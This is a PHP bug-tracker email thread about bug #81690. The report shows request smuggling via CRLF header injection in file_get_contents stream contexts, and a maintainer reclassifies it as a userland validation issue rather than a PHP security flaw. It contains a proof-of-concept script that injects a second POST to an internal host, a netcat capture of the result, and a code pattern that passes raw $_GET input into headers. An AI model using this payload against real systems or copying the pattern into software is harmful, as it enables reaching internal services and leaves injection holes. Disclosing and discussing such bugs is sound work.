Sec Bug->Bug #81690 [Opn]: A request smuggling in file_get_contents
| From: | cmb@php.net | Date: | Thu, 16 Dec 2021 13:29:06 +0000 |
| Subject: | Sec Bug->Bug #81690 [Opn]: A request smuggling in file_get_contents | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-238451@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=81690&edit=1
ID: 81690
Updated by: cmb@php.net
Reported by: ive_jihwan at zerocution dot com
Summary: A request smuggling in file_get_contents
Status: Open
-Type: Security
+Type: Bug
Package: HTTP related
PHP Version: 8.1.0
Block user comment: N
Private report: N
New Comment:
Well, if you are not validating/sanitizing user input, almost
anything can happen. At least in the general case, PHP cannot
prevent exploits of such bad code, like
include $_GET['filename']
And yes, this is a serious security issue, but not in php-src,
but rather in the userland code.
Previous Comments:
------------------------------------------------------------------------
[2021-12-03 10:50:22] ive_jihwan at zerocution dot com
I understood this testing script seems too malicious, but how about the following code?
<?php
$ctx = stream_context_create(array(
"http" => array(
"header" => "User-Agent: ".$_GET["UA"],
"content" => "q=".$_GET["q"]
)));
?>
I know that many developers are using file_get_content to call simple API services instead of using
curl, something like this really can be happened in the real world.
Also, it seems like we can inject multiple consequence cr-lf in content for the same reason, this is
more likely to exist in the real world.
------------------------------------------------------------------------
[2021-12-03 10:31:42] cmb@php.net
Even if this was not possible, userland code still could quite
easily send such requests by other means, so this doesn't qualify
as security issue. Or, according to our security
classification[1] it is not a security issue, because it:
| requires invocation of specific code, which may be valid but is
| obviously malicious
I agree, though, that we better do not allow multiple consecutive
line breaks here.
[1] <https://wiki.php.net/security>
------------------------------------------------------------------------
[2021-12-03 05:28:55] ive_jihwan at zerocution dot com
Description:
------------
Since file_get_contents accepts a user-generated stream context as its argument, an arbitrary stream
context can be passed. In addition, we can pass arbitrary header string by setting
$ctx["http"]["header"] while $ctx is passing context. However, there is no
checking of the given header string, the user can inject multiple continuous "\r\n"
sequences, which can send multiple HTTP request messages at once.
I attached a received raw HTTP message on TCP socket by netcat (nc -l) as actual result.
This bug is caused by lack of filtering multiple "\r\n" streams while adding
context's http header option strings. (http_fopen_wrapper.c, line 421 to 514)
Test script:
---------------
<?php
$ctx = stream_context_create(array(
"http" => array(
"header" =>
"Host: localhost:3500\r\n\r\n\r\nPOST /internal/ HTTP/1.1\r\nHost:
maybe_internal:3500\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent:
SecretAdminBrowser\r\n\r\npoc=this-is-test\r\n"
)));
file_get_contents('http://localhost:3500',
null, $ctx);
Expected result:
----------------
Should be failed
Actual result:
--------------
$ nc -lnvp 3500
Listening on 0.0.0.0 3500
Connection received on 127.0.0.1 38908
GET / HTTP/1.1
Connection: close
Host: localhost:3500
POST /internal/ HTTP/1.1
Host: maybe_internal:3500
Content-Type: application/x-www-form-urlencoded
User-Agent: SecretAdminBrowser
poc=this-is-test
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=81690&edit=1